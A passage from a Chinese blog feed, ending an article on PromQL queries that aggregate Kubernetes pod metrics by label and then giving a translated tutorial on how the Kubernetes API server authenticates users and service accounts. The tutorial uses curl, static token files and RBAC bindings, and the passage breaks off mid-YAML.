&lt;p&gt;接下来就可以用向量匹配的方式来把 &lt;code&gt;container_memory_usage_bytes&lt;/code&gt; 和前面的表达式进行合并了。这里用到了 &lt;code&gt;*&lt;/code&gt;，他把内存用量乘以 &lt;code&gt;kube_pod_labels&lt;/code&gt; 里面的匹配值，然而这个值总是 1，所以其实没什么作用。&lt;/p&gt;

&lt;p&gt;每个 Pod 会有多个容器，也就是说可能有多个 &lt;code&gt;container_memory_usage_bytes&lt;/code&gt;，因此需要用到 &lt;code&gt;group_left&lt;/code&gt;。因为要保留 &lt;code&gt;label_app&lt;/code&gt; 这一指标标签，所以用它作为 &lt;code&gt;group_left&lt;/code&gt; 的参数。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;container_memory_usage_bytes * on (pod_name) group_left(label_app)
max by (pod_name,label_app) (
label_replace(kube_pod_labels{label_app!=&amp;quot;&amp;quot;},&amp;quot;pod_name&amp;quot;,&amp;quot;$1&amp;quot;,&amp;quot;pod&amp;quot;,&amp;quot;(.*)&amp;quot;)
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用下面的表达式，可以聚合所有 Pod 的内存用量指标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;sum by (label_app,namespace) (
  container_memory_usage_bytes * on (pod_name) group_left(label_app)
  max by (pod_name,label_app) (
    label_replace(kube_pod_labels{label_app!=&amp;quot;&amp;quot;},&amp;quot;pod_name&amp;quot;,&amp;quot;$1&amp;quot;,&amp;quot;pod&amp;quot;,&amp;quot;(.*)&amp;quot;)
  )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/mem_per_app.png&#34; alt=&#34;mem_per_app&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;用-pod-标签-对-cpu-和-io-指标进行聚合&#34;&gt;用 Pod 标签 对 CPU 和 IO 指标进行聚合&lt;/h2&gt;

&lt;p&gt;既然已经能把 &lt;code&gt;kube_pod_labels&lt;/code&gt; 和 cadvisor 连接起来，那么这个能力范围就不仅限于内存了。&lt;/p&gt;

&lt;h3 id=&#34;cpu&#34;&gt;CPU&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;sum by (label_app,namespace) (
  rate(container_cpu_usage_seconds_total[2m]) * on (pod_name) group_left(label_app)
  max by (pod_name,label_app) (
    label_replace(kube_pod_labels{label_app!=&amp;quot;&amp;quot;},&amp;quot;pod_name&amp;quot;,&amp;quot;$1&amp;quot;,&amp;quot;pod&amp;quot;,&amp;quot;(.*)&amp;quot;)
  )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/cpu_per_app.png&#34; alt=&#34;cpu per app&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;磁盘-io&#34;&gt;磁盘 IO&lt;/h3&gt;

&lt;p&gt;我曾经想要展示一些磁盘 IO 统计，很不幸，这个功能又出&lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/55397&#34; target=&#34;_blank&#34;&gt;问题&lt;/a&gt;了。&lt;/p&gt;

&lt;h3 id=&#34;网络&#34;&gt;网络&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;sum by (label_app,namespace) (
  rate(container_network_transmit_bytes_total[2m]) * on (pod_name) group_left(label_app)
  max by (pod_name,label_app) (
    label_replace(kube_pod_labels{label_app!=&amp;quot;&amp;quot;},&amp;quot;pod_name&amp;quot;,&amp;quot;$1&amp;quot;,&amp;quot;pod&amp;quot;,&amp;quot;(.*)&amp;quot;)
  )
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/net_per_app.png&#34; alt=&#34;net_per_app&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的用户和工作负载身份</title>
      <link>/post/user-and-workload-authentication-kubernetes/</link>
      <pubDate>Mon, 04 Jul 2022 21:53:52 +0800</pubDate>
      <guid>/post/user-and-workload-authentication-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://learnk8s.io/authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;User and workload identities in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;http://arthurchiao.art/about/&#34; target=&#34;_blank&#34;&gt;Arthur Chiao&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文中我们会试着解释，在 Kubernetes API Server 上如何对用户和工作负载进行认证的问题。&lt;/p&gt;

&lt;p&gt;Kubernetes API Server 开放了 HTTP API 接口，让最终用户、集群组件以及外部组件可以进行通信。&lt;/p&gt;

&lt;p&gt;绝大多数操作都可以用 &lt;code&gt;kubectl&lt;/code&gt; 来完成，而且也可以使用 REST 调用的方式直接访问 API。&lt;/p&gt;

&lt;p&gt;但是如何只允许认证用户访问 API 呢？&lt;/p&gt;

&lt;h2 id=&#34;使用-curl-访问-kubernetes-api&#34;&gt;使用 &lt;code&gt;curl&lt;/code&gt; 访问 Kubernetes API&lt;/h2&gt;

&lt;p&gt;让我们从调用 Kubernetes API 开始。&lt;/p&gt;

&lt;p&gt;要列出集群中的所有命名空间，可以执行下列命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export API_SERVER_URL=https://10.5.5.5:6443

$ curl $API_SERVER_URL/api/v1/namespaces
curl: (60) Peer Certificate issuer is not recognized.
# truncated output
If you&#39;d like to turn off curl&#39;s verification of the certificate, use the -k (or --insecure) option.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;输出内容表明，API Server 的接口用一个未识别的证书（例如自签发）提供了 &lt;code&gt;https&lt;/code&gt; 服务，所以 &lt;code&gt;curl&lt;/code&gt; 中断了这个请求。&lt;/p&gt;

&lt;p&gt;接下来我们用 &lt;code&gt;-k&lt;/code&gt; 参数跳过证书验证过程，并观察产生的响应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;# curl -k $API_SERVER_URL/api/v1/namespaces
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;namespaces is forbidden: User \&amp;quot;system:anonymous\&amp;quot; cannot list resource \&amp;quot;namespaces\&amp;quot; ...&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: { &amp;quot;kind&amp;quot;: &amp;quot;namespaces&amp;quot; },
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在我们拿到了响应，但是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;对 API 端点的访问被禁止了（返回码 &lt;code&gt;403&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;用户身份被识别为 &lt;code&gt;system:anonymous&lt;/code&gt;，这个用户无权列出命名空间&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上面的操作揭示了 &lt;code&gt;kube-apiserver&lt;/code&gt; 的部分工作机制：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先识别请求用户的身份&lt;/li&gt;
&lt;li&gt;然后决策这个用户是否有权完成操作&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;正式一点的说法分别叫认证（也叫 AuthN）和鉴权（也叫 AuthZ）：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;发起 &lt;code&gt;curl&lt;/code&gt; 请求时，流量触达 Kubernetes API Server&lt;/li&gt;
&lt;li&gt;在 API Server 里，认证模块会首先收到请求。如果认证失败，请求就会被标识为 &lt;code&gt;anonymous&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;认证之后就进入鉴权环节、 匿名访问没有权限，所以鉴权组件拒绝请求，并返回 &lt;code&gt;403&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;再次检视刚才的 &lt;code&gt;curl&lt;/code&gt; 请求：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;因为没有提供用户凭据，Kubernetes 认证模块会给请求标记为匿名请求&lt;/li&gt;
&lt;li&gt;根据 Kubernetes API Server 配置，可能会收到一个 &lt;a href=&#34;https://stackoverflow.com/questions/3297048/403-forbidden-vs-401-unauthorized-http-responses/6937030#6937030&#34; target=&#34;_blank&#34;&gt;401 Unauthorized 代码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 鉴权模块会检查 &lt;code&gt;system:anonymous&lt;/code&gt; 是否具有列出命名空间的权限，如果没有，就返回 &lt;code&gt;403 Forbidden&lt;/code&gt; 错误信息&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;例如 Kubelet 需要连接到 Kubernetes API 来报告状态：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubelet.png&#34; alt=&#34;kubelet&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用请求可能使用 Token、证书或者外部管理的认证来提供身份。认证模块是整个系统的第一个门槛。&lt;/p&gt;

&lt;p&gt;Kubernetes 的认证模块提供的几个重点能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;同时支持人和非人用户&lt;/li&gt;
&lt;li&gt;同时支持内部用户（Kubernetes 负责创建和管理的账号）和外部用户（例如集群外部署的应用）&lt;/li&gt;
&lt;li&gt;支持标准的认证策略，例如静态 Token、Bearer Token、X509 认证、OIDC 等&lt;/li&gt;
&lt;li&gt;同时支持多种认证策略&lt;/li&gt;
&lt;li&gt;可以加入或者移除认证策略&lt;/li&gt;
&lt;li&gt;还可以授权匿名用户访问 API&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下面我们会走进观察认证模块的工作过程。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文聚焦于认证领域。要了解更多鉴权内容，可以阅读 &lt;a href=&#34;https://learnk8s.io/rbac-kubernetes&#34; target=&#34;_blank&#34;&gt;Limiting access to Kubernetes resources with RBAC&lt;/a&gt; 一文。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;kubernetes-api-的内外部用户区别&#34;&gt;Kubernetes API 的内外部用户区别&lt;/h2&gt;

&lt;p&gt;Kubernetes API 支持两种 API 用户：内部和外部。&lt;/p&gt;

&lt;p&gt;这两个东西有什么不同呢？&lt;/p&gt;

&lt;p&gt;如果用户是集群的内部用户，我们需要给它定义一个规范（例如数据模型）；而外部用户的规范是已经存在的。所以我们将用户分成下面几类：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes 管理的用户&lt;/strong&gt;：Kubernetes 创建，并由集群内应用使用的用户账号。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非 Kubernetes 管理用户&lt;/strong&gt;：在 Kubernetes 集群外的用户，例如：

&lt;ul&gt;
&lt;li&gt;集群管理员发放的静态 Token 或证书&lt;/li&gt;
&lt;li&gt;使用 Keystone、Google Account 以及 LDAP 等进行认证的用户&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;授权外部用户访问集群&#34;&gt;授权外部用户访问集群&lt;/h2&gt;

&lt;p&gt;假设有如下场景：使用 Bearer token 访问 Kubernetes。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;curl --cacert ${CACERT} \
  --header &amp;quot;Authorization: Bearer &amp;lt;my token&amp;gt;&amp;quot; \
  -X GET ${APISERVER}/api
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes API Server 是如何将 Token 识别为身份的？&lt;/p&gt;

&lt;p&gt;Kubernetes 并不管理外部用户，所以应该有一种机制来从外部资源中获取信息（例如用户名和用户组）。&lt;/p&gt;

&lt;p&gt;换句话说，Kubernetes API 接到了带有 Token 的请求后，就应该能够提取信息并进行后续的决策了。&lt;/p&gt;

&lt;p&gt;下面用例子来解释一下这个场景。&lt;/p&gt;

&lt;p&gt;创建一个 CSV 文件，其中包含了用户、Token 和用户组：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;token1,arthur,1,&amp;quot;admin,dev,qa&amp;quot;
token2,daniele,2,dev
token3,errge,3,qa
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;文件格式为 &lt;code&gt;token, user, uid, groups&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;用 &lt;code&gt;--token-auth-file&lt;/code&gt; 参数启动一个 minikube 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ mkdir -p ~/.minikube/files/etc/ca-certificates
$ cd ~/.minikube/files/etc/ca-certificates
$ cat &amp;lt;&amp;lt; | tokens.csv
token1,arthur,1,&amp;quot;admin,dev,qa&amp;quot;
token2,daniele,2,dev
token3,errge,3,qa
EOF
$ minikube start \
  --extra-config=apiserver.token-auth-file=/etc/ca-certificates/tokens.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了发送请求给 Kubernetes API，需要集群的 IP 地址以及证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubectl config view
apiVersion: v1
clusters:
- cluster:
    certificate-authority: /Users/learnk8s/.minikube/ca.crt
    extensions:
    - extension:
        last-update: Fri, 10 Jun 2022 12:21:45 +08
        provider: minikube.sigs.k8s.io
        version: v1.25.2
      name: cluster_info
    server: https://127.0.0.1:57761
  name: minikube
# truncated output
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来向集群发送一个请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://127.0.0.1:57761
$ export CACERT=/Users/learnk8s/.minikube/ca.crt
$ curl --cacert ${CACERT} -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {},
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;forbidden: User \&amp;quot;system:anonymous\&amp;quot; cannot get path \&amp;quot;/\&amp;quot;&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: {},
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;响应信息表明，我们用匿名身份访问了 API，并且没有任何权限。&lt;/p&gt;

&lt;p&gt;接下来用 &lt;code&gt;token1&lt;/code&gt;（来自于 &lt;code&gt;tokens.csv&lt;/code&gt; 文件中的用户 &lt;code&gt;arthur&lt;/code&gt;）发起请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://127.0.0.1:57761
$ export CACERT=/Users/learnk8s/.minikube/ca.crt
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer token1&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {},
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;forbidden: User \&amp;quot;arthur\&amp;quot; cannot get path \&amp;quot;/\&amp;quot;&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: {},
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如上所见，Kubernetes 能够识别出请求来自于 &lt;code&gt;Arthur&lt;/code&gt;。发生了什么呢？&lt;code&gt;tokens.csv&lt;/code&gt; 和 &lt;code&gt;--token-auth-file&lt;/code&gt; 参数起了什么作用？&lt;strong&gt;Kubernetes 有多种认证插件，现在我们使用的是静态 Token 文件&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;重放一下刚才的过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;API Server 启动后，读取 CSV 文件，把用户数据保存在内存里&lt;/li&gt;
&lt;li&gt;用 Token 向 API Server 发起请求&lt;/li&gt;
&lt;li&gt;API Server 用 Token 找到匹配的用户，并解出剩余的用户信息（例如用户、用户组等）&lt;/li&gt;
&lt;li&gt;这些详细信息会被包含在请求中，传递给鉴权模块&lt;/li&gt;
&lt;li&gt;当前的鉴权模块（例如 RBAC）找不到 Arthur 的权限，拒绝请求。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;创建一个 &lt;code&gt;ClusterRoleBinding&lt;/code&gt; 就能快速修复这个问题：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin
subjects:
- kind: User
  name: arthur
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用下面的命令把对象提交给集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f admin-binding.yaml
clusterrolebinding.rbac.authorization.k8s.io/admin created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次执行命令就会成功了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;curl --cacert ${CACERT} \
  --header &amp;quot;Authorization: Bearer token1&amp;quot; \
  -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面向 &lt;code&gt;kube-apiserver&lt;/code&gt; 发送了一个 HTTP 请求，认证模块会尝试&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/&#34; target=&#34;_blank&#34;&gt;将如下属性附加到请求之中&lt;/a&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Username&lt;/code&gt;：字符串，例如 &lt;code&gt;kube-admin&lt;/code&gt;、&lt;code&gt;jane@example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UID&lt;/code&gt;：字符串，相对用户名来说，UID 是一个更稳定的属性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Groups&lt;/code&gt;：例如 &lt;code&gt;system:masters&lt;/code&gt;、&lt;code&gt;devops-team&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;附加字段：可能对认证过程有帮助的一些其他字段&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;请求上下文中加入这些信息之后，后续的 Kubernetes API 组件都能读取这些信息，这些信息对认证插件来说是透明的。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;可以使用 Token 向集群发起一个认证请求&lt;/li&gt;
&lt;li&gt;Kubernetes 把请求 Token 进行匹配。这是一个外部用户，因此需要依赖一个外部的用户管理系统（这里指的就是那个 CSV 文件）&lt;/li&gt;
&lt;li&gt;拿到用户名、ID、用户组等信息之后，这些信息会被传递给鉴权模块进行校验&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;前面的例子中为用户名创建了一个 &lt;code&gt;ClusterRoleBinding&lt;/code&gt;。其实 CSV 中为 &lt;code&gt;Arthur&lt;/code&gt; 设置了三个用户组（&lt;code&gt;admin&lt;/code&gt;、&lt;code&gt;dev&lt;/code&gt;、&lt;code&gt;qa&lt;/code&gt;），因此也可以写成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin
subjects:
- kind: Group
  name: admin
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;静态 Token 是一种简易的认证机制，集群管理员可以随意生成 Token 并指派给用户。但是这种方式有一定弊端：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;必须知道所有的用户&lt;/li&gt;
&lt;li&gt;编辑 &lt;code&gt;tokens.csv&lt;/code&gt; 文件需要重启 API Server&lt;/li&gt;
&lt;li&gt;Token 不会过期&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Kubernetes 还提供了其它几种外部认证机制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;X.509 客户端证书&lt;/li&gt;
&lt;li&gt;OpenID&lt;/li&gt;
&lt;li&gt;认证代理&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每种方式都有各自的利弊，但是所有的工作流都跟静态 Token 类似：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;身份被保存在集群之外&lt;/li&gt;
&lt;li&gt;用户使用 Token 向 API Server 发起请求&lt;/li&gt;
&lt;li&gt;Kubernetes 向外部认证源（例如 CSV 文件、认证服务、LDAP 等）请求检查 Token 的有效性&lt;/li&gt;
&lt;li&gt;如果认证有效，Kubernetes 会拿到用户名和其他元数据&lt;/li&gt;
&lt;li&gt;鉴权策略会使用这些数据来判断用户是否具备访问该资源的权限&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;那么如何选择认证插件呢？实际上可以同时启用多个认证插件，Kubernetes 会逐个调用每个插件，直到成功为止。&lt;/p&gt;

&lt;p&gt;如果所有插件都没能成功，则请求会被标记为未认证或者是匿名访问。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;认证不只是一个组件，而是由多个组件协同完成的&lt;/li&gt;
&lt;li&gt;收到请求之后，插件会顺序执行，如果所有插件都失败了，请求就会被拒绝&lt;/li&gt;
&lt;li&gt;如果成功，请求会被传递给鉴权模块&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;现在已经了解了外部用户的问题，接下来看看 Kubernetes 如何管理内部用户。&lt;/p&gt;

&lt;h2 id=&#34;用-serviceaccount-管理-kubernetes-内部认证&#34;&gt;用 ServiceAccount 管理 Kubernetes 内部认证&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中，内部用户使用 Service Account 的概念来表达。&lt;/p&gt;

&lt;p&gt;这些身份通过 &lt;code&gt;kube-apiserver&lt;/code&gt; 创建，并分配给应用。&lt;/p&gt;

&lt;p&gt;Service Account 会有相关联的 Token，应用向 &lt;code&gt;kube-apiserver&lt;/code&gt; 发起请求时，会共享这个 Token 用于认证。&lt;/p&gt;

&lt;p&gt;观察一下 Service Account 的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create serviceaccount test
serviceaccount/test created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个资源的具体内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get serviceaccount test -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test
secrets:
- name: test-token-6tmx7
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果集群版本高于 &lt;code&gt;1.24&lt;/code&gt;，输出会有不同：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get serviceaccount test -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;差距很明显，只有老版本集群中会有 &lt;code&gt;secrets&lt;/code&gt; 字段。&lt;/p&gt;

&lt;p&gt;这个 Secret 包含了必要的 Token，API Server 可以用 Token 对请求进行认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get secret test-token-6tmx7
apiVersion: v1
kind: Secret
metadata:
  name: test-token-6tmx7
type: kubernetes.io/service-account-token
data:
  ca.crt: LS0tLS1CR…
  namespace: ZGVmYXVs…
  token: ZXlKaGJHY2…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面的 YAML 代码把这个身份分配给 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  serviceAccount: test
  containers:
  - image: nginx
    name: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群，创建 Pod 并进入他的 Bash：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f nginx.yaml
pod/nginx created
$ kubectl exec -ti nginx -- bash
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发起请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://kubernetes.default.svc
$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export CACERT=${SERVICEACCOUNT}/ca.crt
$ export TOKEN=&amp;quot;token here&amp;quot;
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer ${TOKEN}&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用成功了。&lt;/p&gt;

&lt;p&gt;Kubernetes 1.24 以后的版本不再创建 Secret，那怎么获取 Token 呢？&lt;/p&gt;

&lt;h2 id=&#34;为-service-account-生成临时认证&#34;&gt;为 Service Account 生成临时认证&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;新版本的 Kubernetes 中，Kubelet 负责从 API Server 申请临时 Token。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Token 格式类似 Secret 对象中的 Token，但是有个很大的不同是——他会过期。&lt;/p&gt;

&lt;p&gt;这个 Token 不会被注入到 Secret 里面，而是使用 &lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/projected-volumes/&#34; target=&#34;_blank&#34;&gt;Projected Volume&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 1.24 中重复一下刚才的测试。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create serviceaccount test
serviceaccount/test created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  serviceAccount: test
  containers:
  - name: nginx
    image: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 Pod 提交到集群上：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f nginx.yaml
pod/nginx created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先确认一下，集群里没有 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get secrets
No resources found in default namespace.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后进入 Pod Shell：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -ti nginx -- bash
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下 Token 的加载情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://kubernetes.default.svc
$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export CACERT=${SERVICEACCOUNT}/ca.crt
$  export TOKEN=$(cat ${SERVICEACCOUNT}/token)
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer ${TOKEN}&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还是能成功，这个 Token 是怎么加载的？我们来看一下 Pod 的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get pod nginx -o yaml
apiVersion: v1
kind: Pod
  name: nginx
spec:
  containers:
  - image: nginx
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-69mqr
      readOnly: true
  serviceAccount: test
  volumes:
  - name: kube-api-access-69mqr
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
